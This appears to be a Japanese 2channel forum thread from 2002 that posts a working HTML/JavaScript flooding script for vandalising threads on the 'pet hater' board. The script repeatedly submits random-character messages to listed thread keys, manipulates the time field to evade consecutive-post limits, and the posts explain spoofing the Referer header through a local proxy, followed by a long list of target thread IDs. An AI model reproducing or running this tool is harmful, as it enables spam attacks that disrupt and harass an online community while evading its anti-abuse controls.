そろそろペット大嫌い板再攻撃の時期です。

このエントリーをはてなブックマークに追加
50あぼーん
ペット大嫌い板荒らしスクリプト

------------------------------ここから post3.html ---------------------------------------------------------

<HTML>
<frameset rows="220,*">
<frame src="post3_1.html" name="cont">
<frame src="post3_2.html" name="form">
</frameset>
</HTML>

------------------------------ここから post3_1.html -------------------------------------------------------

<HTML>
<BODY onLoad="init()">

<script language="JavaScript">
<!------

var keys;
var keyi;
var postcount;
var postcount2;
var loopcount;
var starttime;
var time;

function init(){
  document.forms[0].keys.value="1011283637\n1008952490\n1008146060\n1009171579\n994160026\n1001910900\n995123059\n1010738811\n994596389\n";
}

function main(){
  keys=document.forms[0].keys.value.split("\n");  //フォームからスレkeyを得る

//変数の初期化
  keyi=0;
  postcount=0;
  postcount2=0;
  threadcnt=0;
  loopcount=0;

  starttime=new Date;  //開始ボタンが押された時間

  countdown();
}
function countdown(){  //カウントダウンを表示
  var now=new Date;  //現在時間を得る
  var elapsed;

  elapsed = (now-starttime)/1000;
  if (elapsed > document.forms[0].timer.value){  //経過時間をチェック
    jmp();
    return;
  }
  document.forms[0].status.value="攻撃開始まで"+Math.floor(document.forms[0].timer.value-elapsed)+"[sec]";  //フォームに表示

  stopper=setTimeout ("countdown()",100);
}
51あぼーん:02/01/30 12:34 ID:???
function jmp(){
  var now=new Date;  //現在時間を得る
  if (now/1000 - (starttime/1000 + parseInt(document.forms[0].timer.value)) > parseInt(document.forms[0].atime.value) && parseInt(document.forms[0].atime.value) !=0)  //攻撃時間で指定された時間攻撃したら終了
    return;

  parent.form.location="post3_2.html";  //下のフレームを投稿用ページにする
  stopper=setTimeout("post()",1000);    //ここで少し待たないと次の処理で下フレームのフォームに書き込めないエラーになる
}
function post(){
//文字列を生成
  var str = "";
  for (var l=0; l < document.forms[0].lines.value; l++){
    for (var c=0;c<186;c++){
      str+= unescape(String.fromCharCode(Math.random()*0x5e+0x21));
    }
    if (l != document.forms[0].lines.value-1)
      str+="\n"
  }

//下フレームのフォームに値を転送
  parent.form.document.forms[0].bbs.value = document.forms[0].bbs.value;
  parent.form.document.forms[0].key.value = keys[keyi];
  parent.form.document.forms[0].FROM.value = document.forms[0].FROM.value;
  parent.form.document.forms[0].mail.value = document.forms[0].mail.value;
  parent.form.document.forms[0].MESSAGE.value = str;

  if (!document.forms[0].consttime.checked || postcount==0){  //同一スレッド内でtimeを固定するかしないか
    var now=new Date;      //現在時間を得る
    var old=new Date(2002,0,30);  //2002/01/30の日付オブジェクトを生成
    time=parseInt(document.forms[0].time.value) + Math.floor((now-old)/1000);  //timeを計算
  }
  parent.form.document.forms[0].time.value = time;

  parent.form.document.forms[0].submit.click();  //下フレームの投稿ボタンを押す

  loopcount++;    //post回数を累計
  document.forms[0].status.value=loopcount+"回postしました。"+" Thread:"+keys[keyi]+" time:"+time;  //Statusを表示

  postwait=5000;  //post間隔

  postcount++;  //1スレ連続投稿数をカウント
  postcount2++;  //連続投稿総数をカウント
  if (postcount==document.forms[0].posts.value){  //1スレ連続投稿数になったら
    postcount=0;
    keyi++;          //次のスレに移る
  }
  if (postcount2 == document.forms[0].posts2.value){  //連続投稿総数になったら
    postcount2=0;
    postwait = document.forms[0].wait.value * 1000;  //連続投稿規制時間で指定された秒数待つ
  }

  if (keyi==keys.length || keys[keyi].length<5)  //スレkeyのリストで改行などがあったら最初のスレに戻る
    keyi=0;

  stopper=setTimeout("jmp()",postwait);  //jmp()とループを形成
}
52あぼーん:02/01/30 12:34 ID:???
function stop(){  //攻撃停止ボタンで終了
  clearTimeout(stopper);
}
//------>
</script>

<FORM>
荒らしたいスレのkey(改行で区切る)<BR>
<TEXTAREA name=keys rows=5 wrap=off cols=20 value=aff></TEXTAREA>2002/01/30 00:00:00のtime:<INPUT size=15 name=time value=1012316401>同一スレッド内でtimeを固定:<INPUT type="checkbox" name=consttime><BR>
攻撃開始待ち時間[sec]:<INPUT size=6 name=timer value=0>攻撃時間(0で無限):<INPUT size=6 name=atime value=0><BR>
板名:<INPUT size=15 name=bbs value="cat">1スレ連続投稿数:<INPUT size=4 name=posts value=1> 連続投稿総数:<INPUT size=4 name=posts2 value=9>連続投稿規制時間[sec]:<INPUT size=6 name=wait value=2000><BR>
名前:<INPUT size=19 name=FROM value="あぼーん"> E-mail:<INPUT size=19 name=mail value="sage">行数:<INPUT name=lines value=19><BR>
<INPUT type="button" value="攻撃開始" onClick="main()"><INPUT type="button" value="攻撃停止" onClick="stop()">
Status:<INPUT size=100 name=status>
</FORM>

</BODY>
</HTML>

----------------------------------------ここから post3_2.html --------------------------------------------

<HTML>
<BODY>
このフレームには書き込む必要はありません。<BR>
<SCRIPT defer type=text/javascript><!--
function l(e){
  var N=g("NAME"),M=g("MAIL"),i;
  with(document)
    for(i=0;i<forms.length;i++)
      if(forms[i].FROM&&forms[i].mail)

  with(forms[i]){
    FROM.value=N;mail.value=M;
  }
}

onload=l;

function g(key,tmp1,tmp2,xx1,xx2,xx3,len){
  tmp1=" "+document.cookie+";";
  xx1=xx2=0;
  len=tmp1.length;

  while(xx1<len){
    xx2=tmp1.indexOf(";",xx1);
    tmp2=tmp1.substring(xx1+1,xx2);
    xx3=tmp2.indexOf("=");

    if(tmp2.substring(0,xx3)==key)
      return unescape(tmp2.substring(xx3+1,xx2-xx1-1));

    xx1=xx2+1;
  }
return "";
}
//--></SCRIPT>
53あぼーん:02/01/30 12:35 ID:???
<FORM action=http://tmp.2ch.net/test/bbs.cgi method=post>
  <INPUT type=submit value=書き込む name=submit>
     名前: <INPUT size=19 name=FROM>
     E-mail<FONT size=1> (省略可) </FONT>: <INPUT size=19 name=mail><BR>

    <TEXTAREA name=MESSAGE rows=5 wrap=off cols=70></TEXTAREA><BR>
      bbs<INPUT name=bbs>
      key<INPUT name=key>
      time<INPUT name=time>
</FORM>

</BODY>
</HTML>

--------------------------------------------EOF-------------------------------------------------------------

 ランダム文字列を指定したスレに貼りまくるスクリプトです。これはローカルから投稿するので、refererを偽装
する必要があり、まずProxomitron(http://proxomitron.org/)をダウンロードして起動し、"Edit Filters"の
"Headers"の、Referer: Hide where we've been (Out)の左のOutチェックボックスを有効にし、EditしてURL
Matchを*,Header Value Matchを空欄に、Replacement textを\uにします。次にブラウザのプロクシを、
"127.0.0.1:8080"に設定すればProxomitronの偽装フィルタリングがかかります。
 そして、上のhtmlをメモ帳にコピペしてそれぞれ3つのファイルに保存し、荒らしたいスレのkeyにスレッドの
URLのhttp://tmp.2ch.net/test/read.cgi/cat/**********/ の**********の部分を貼り付けます。複数のスレを
指定するときは改行で区切ります。また、フォームのtimeの値を計算して投稿するので、同じスレに連続投稿
ができます。攻撃開始待ち時間は攻撃開始をクリックしてから実際に書き込みが開始されるまでの時間で、攻撃
時間は書き込みを始めてから終わるまでの時間です。1スレ連続投稿数は1つのスレッドに連続して書き込む回数で、
他のスレも含めて連続投稿総数の数だけ投稿したら連続投稿規制時間の秒数だけ待ちます。
 下のフレームのフォームは特にいじらなくてもよいです。

これがペット大嫌い板の凶悪なスレのkeyです。
1011283637
1008952490
1008146060
1009171579
994160026
1001910900
995123059
1010738811
994596389
995897752
1008895478
1005176736
54あぼーん:02/01/30 12:35 ID:???
995039249
994842059
1001671675
997237985
1001607201
994015773
995015847
997833725
986660135
1008465919
1008494729
1011186587
1000874226
1011124743
1009312739
992358437
993797789
993907424
995030209
994293933
998801116
997359549
996497513
1002553564
1012101206
995075992
1010658886
997188236
987511060
995371681
1001662000
985872796
990152767
1008523626
991230973
995035279
1009339229
1007111604
998371802
997854692
1009544356
998139907
995127113
994501864
996868082
1003741528
988369627
993465322

 本当は別フレームを2chのスレのURLに移動させ、そこのフォームに制御用フレームからフォームに自動記入して書き込む
ボタンを押すようにしてreferer偽装の必要を無くしたかったのですが、ブラウザのセキュリティにより別ドメインの
フレームのフォームにアクセスできませんでした。そのため、2chでは書き込みが成功すると板のトップに飛ばされる
のですが、上のスクリプトでは別ドメインのフレームのURLを取得することができず、スクリプト側で書き込み成功を確認
することはできません。